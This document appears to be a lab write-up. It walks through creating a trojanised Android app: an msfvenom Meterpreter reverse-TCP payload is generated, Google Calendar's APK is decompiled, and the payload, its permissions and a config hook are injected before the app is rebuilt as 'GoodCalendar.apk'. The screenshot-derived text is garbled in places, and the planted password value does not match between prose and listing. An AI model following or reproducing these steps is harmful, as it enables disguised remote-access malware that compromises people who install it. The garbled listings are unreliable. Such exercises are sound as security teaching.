
Malicious APK File Creation

No. 10

To start off with, we first created a malicious app using metasploit's msfvenom command and decompiled the app and its content into a folder using apktool.

```
kali@kali: ~/Downloads
File Actions Edit View Help
        RX packets 25 bytes 1962 (1.9 KiB)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 25 bytes 1962 (1.9 KiB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  —(kali⊛kali)-[~/Downloads]
s msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=2525 -o
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.
2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:1
1: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAl
gorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.
2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:1
1: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr rb ssh-0.4.
2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:1
2: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAl
gorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.
2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:1
2: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.
2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:1
3: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAl
gorithm::EcdsaSha2Nistp256::IDENTIFIER
```

Above command created an apk file called virus.apk and using apktool the apk file contents are decompiled into a folder called virusAppContents as shown below:



The contents inside the folder virusAppContents are as shown below:

We now downloaded google calendar.apk and using same apktool commands, decompiled the apk file contents into a folder called Calendar_Contents.

```
-(kali⊕kali)-[~/Downloads]
sapktool d -f Calendar.apk -o Calendar_Contents
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1-dirty on Calendar.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/kali/.local/share/apktool/framewor
k/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex ...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files ...
  -(kali⊛kali)-[~/Downloads]
_$
```

```
---(kali@kali)-[~/Downloads]
--$ cd Calendar_Contents
---(kali@kali)-[~/Downloads/Calendar_Contents]
--$ ls
AndroidManifest.xml apktool.yml original res smali unknown
----(kali@kali)-[~/Downloads/Calendar_Contents]
---$ [
```

We now edited the AndroidManifest.xml file of Calendar.apk to add the permissions that are present in the AndroidManifest.xml file of virus.apk (the malicious apk which we created at the beginning)

```
*~/Downloads/Calendar_Contents/AndroidManifest.xml - Mousepad
File Edit Search View Document Help
•
  Q & A
     <?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="platformBuildVersionCode="30" platformBuildVersionName="11">
2
3
5
6
7
8
9
10
13
18
19
20
22
23
24
25
26
27
28
29
30
33
34
35
                               :name="android.permission.WAKE_LOCK
                            oid:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
```

We now copied the Payload.small from virusAppContents to Calendar_Contents, i.e., the malicious payload file which was created for virus.apk is now present in the Calendar folder.



Now comes the interesting part., we have added our secret code in the string.xml file which generally resides in values folder in res. We have defined a string with name "secret_password" with the value "IWillHackYou25" as shown below:

(It can be found in line highlighted)

```
cml version="1.0" encoding="utf-8"?
 <string name="abc_action_bar_home_description">Navigate home<//string>
 <string name="abc_action_bar_up_description">Navigate up</string>
 <string name="abc_action_menu_overflow_description">More options</string>
 <string name="abc_action_mode_done">Done</strip</pre>
 <string name="abc_activity_chooser_view_see_all">See all</string>
 <string name="abc_activitychooserview_choose_application">Choose an app</string>
 <string name="abc_capital_off">OFF</string>
 <string name="abc_capital_on">ON</string</pre>
 <string name="abc_font_family_body_1_material">sans-serif</string>
 <string name="abc_font_family_body_2_material">sans-serif-medium</string>
 <string name="abc_font_family_button_material">sans-serif-medium</string>
 <string name="abc_font_family_caption_material">sans-serif
 <string name="abc_font_family_display_1_material">sans-serif</string>
 <string name="abc_font_family_display_2_material">sans-serif</string>
   string name="abc_font_family_display_3_material">sans-serif<
   tring name="abc_font_family_display_4_material">sans-serif-light</string>
   tring name="abc_font_family_headline_material"><mark>sans-serif</</mark>string>
   tring name="abc_font_family_menu_material">sans-serif<</pre>
     ring name="secret-password">IWillHackYou2525</string>
   string name="abc_font_family_subhead_material">sans-serif
  string name="abc_font_family_title_material">sans-serif-medium</string>
 <string name="abc_menu_alt_shortcut_label">Alt+</stri
 <string name="abc_menu_ctrl_shortcut_label">Ctrl+</
 <string name="abc_menu_delete_shortcut_label">delete</string>
 <string name="abc_menu_enter_shortcut_label">enter</string</pre>
 <string name="abc_menu_function_shortcut_label">Function+</string>
 <string name="abc_menu_meta_shortcut_label">Meta+</string</pre>
 <string name="abc_menu_shift_shortcut_label">Shift+</string>
 <string name="abc_menu_space_shortcut_label">space</string>
 <string name="abc_menu_sym_shortcut_label">Sym+</string>
 <string name="abc_prepend_shortcut_label">Menu+</string>
  cstring name="abc_search_hint">Search...
```

Also in the config.small file we have given the path of the Payload copied so that the malicious payload would get triggered upon the execution of this configuration.

```
strings.xml x Payload.small x Helper.small x Config.small x

4. field public static ads_start_free:I = 0.5
2. field public static show_ads_remove_btn:Z = false
2. field private static final url:Ljava/lang/String; = "https://mb4mobile.pl/config.php"
2. field cnti.android/content/Context;
2. field cnti.android/content/Context;
3. field last:Ljava/lang/Long;
3. field ast:Ljava/lang/Long;
3. field astic constructor <clinit>()V
3. closel 0
4. closel 0
5. closel 0
5. closel 0
6. closel 0
```

We now finally recompiled the app with all of this data to GoodCalendar.apk using apktool commands.

```
-(kali®kali)-[~/Downloads]
 --$ apktool b Calendar_Contents -o GoodCalendar.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
W: /home/kali/Downloads/Calendar_Contents/res/layout/userdate.xml:9: warning:
found plain 'id' attribute; did you mean the new 'android:id' name?
W: /home/kali/Downloads/Calendar_Contents/res/layout-v17/userdate.xml:9: warn ing: found plain 'id' attribute; did you mean the new 'android:id' name?
W: /home/kali/Downloads/Calendar_Contents/res/layout-v21/userdate.xml:9: warn
ing: found plain 'id' attribute; did you mean the new 'android:id' name?
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...
   -(kali®kali)-[~/Downloads]
```

